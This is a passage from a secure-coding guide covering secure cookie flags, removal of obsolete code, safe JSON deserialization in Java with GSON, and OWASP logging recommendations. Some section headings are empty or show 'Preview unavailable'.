    public static void setHttpOnlySecureCookie(HttpServletResponse response, String name, String
value) {
        Cookie cookie = new Cookie(name, value);
        cookie.setHttpOnly(true);
        cookie.setSecure(true);
        response.addCookie(cookie);
    }
}
```

Obsolete Code

Removing dead or obsolete code is essential to maintain readability, security, and performance in software development.

- **Dead Code:** No longer reachable or executed in the application.
- **Test Artifacts:** Temporary code or scripts explicitly created for testing but not intended for production.
- **Bit Rot:** Code that gradually becomes outdated or inefficient over time due to evolving dependencies or changes in the system.
- **Technical Debt:** Accumulated code that is poorly written, outdated, or needs refactoring, often including leftover test code.
- **Feature Flags or Toggles:** Sometimes, old or experimental code is left under a feature toggle but never removed.

Dangerous Function

```
eval()
```

Non-standard practice (re-invent the wheel)

Secure Serialization and Deserialization

Object serialization and deserialization are essential for handling data exchange in modern web applications. However, insecure deserialization remains a critical vulnerability where unsanitized or malicious input can allow attackers to inject and execute arbitrary code.

To mitigate this risk, always prioritize using standard, well-maintained libraries and ensure that any open-source software (OSS) dependencies are regularly patched and up to date. Outdated or poorly maintained libraries can introduce known vulnerabilities, increasing the risk of exploitation.

Best Practices for Secure Deserialization

- **Minimize the Attack Surface:** Avoid deserializing user-controlled input whenever possible. To reduce risk, restrict deserialization to trusted internal sources.
- **Sanitize and Validate Input:** If deserialization cannot be avoided, rigorously sanitize and verify the incoming data before processing it.
- **Use Safer Data Formats:** Deserializing native objects in environments like Java can be inherently risky. Opt for safer alternatives like JSON or XML, where strict schema validation can enforce structure.
- **Standard Libraries:** Leverage secure, widely used libraries such as GSON (for JSON in Java) or JSON (in Python) for parsing. When used correctly, these libraries are designed to handle untrusted input safely.
- **Patch and Update Regularly:** Monitor your dependencies for vulnerabilities and apply patches promptly. Tools like Dependabot or Snyk can automate dependency security checks.

Example — Secure JSON Parsing in Java with GSON

```
import com.google.gson.Gson;
import com.google.gson.JsonSyntaxException;

public class SecureDeserialization {
    public static void main(String[] args) {
        String jsonInput = "{ \"name\": \"John\", \"role\": \"admin\" }";
        Gson gson = new Gson();

        try {
            User user = gson.fromJson(jsonInput, User.class);
            System.out.println("Name: " + user.getName());
        } catch (JsonSyntaxException e) {
            System.err.println("Invalid JSON input detected!");
        }
    }
}

class User {
    private String name;
    private String role;

    public String getName() { return name; }
    public String getRole() { return role; }
}
```

Key Takeaways

- Use standard libraries that are actively maintained.
- Never trust user input — validate and sanitize rigorously.
- Patch dependencies to stay ahead of known vulnerabilities.
- Prefer safer formats like JSON over native object deserialization.

By following these best practices and emphasizing secure, standard libraries, developers can significantly reduce the risk of insecure deserialization attacks..

Encryption and Decryption

Secure Logging

source:

What events need to be logged

OWASP recommends that applications log the following:

- All login attempts – successful and unsuccessful
- Log-outs
- Password changes and reset attempts
- User creation and removal, and changes to a user's authorization
- Authorization failures (when a user is denied access to a particular resource)
- Input validation failures (such as unexpected values received from a dropdown list)
- System administration activity
- Integrity events (changes to data) and submission of user-generated content – especially file uploads
- Access to sensitive data – like payment card information, keys, and so on

What should not be logged

The following data must never be logged to prevent a data breach in case the logs are misappropriated:

- Application source code and commercially sensitive information
- Session IDs, access tokens, and authentication passwords

- Sensitive personal data, bank account or payment cardholder data
- Authentication passwords
- Database connection strings, encryption keys, and other secrets
- Information that is illegal to collect or that the user has opted out of

Logging levels

Preview unavailable

Software Supply Chain, OSS, and SBOM

Source: `materials/secure-coding-in-practice.txt`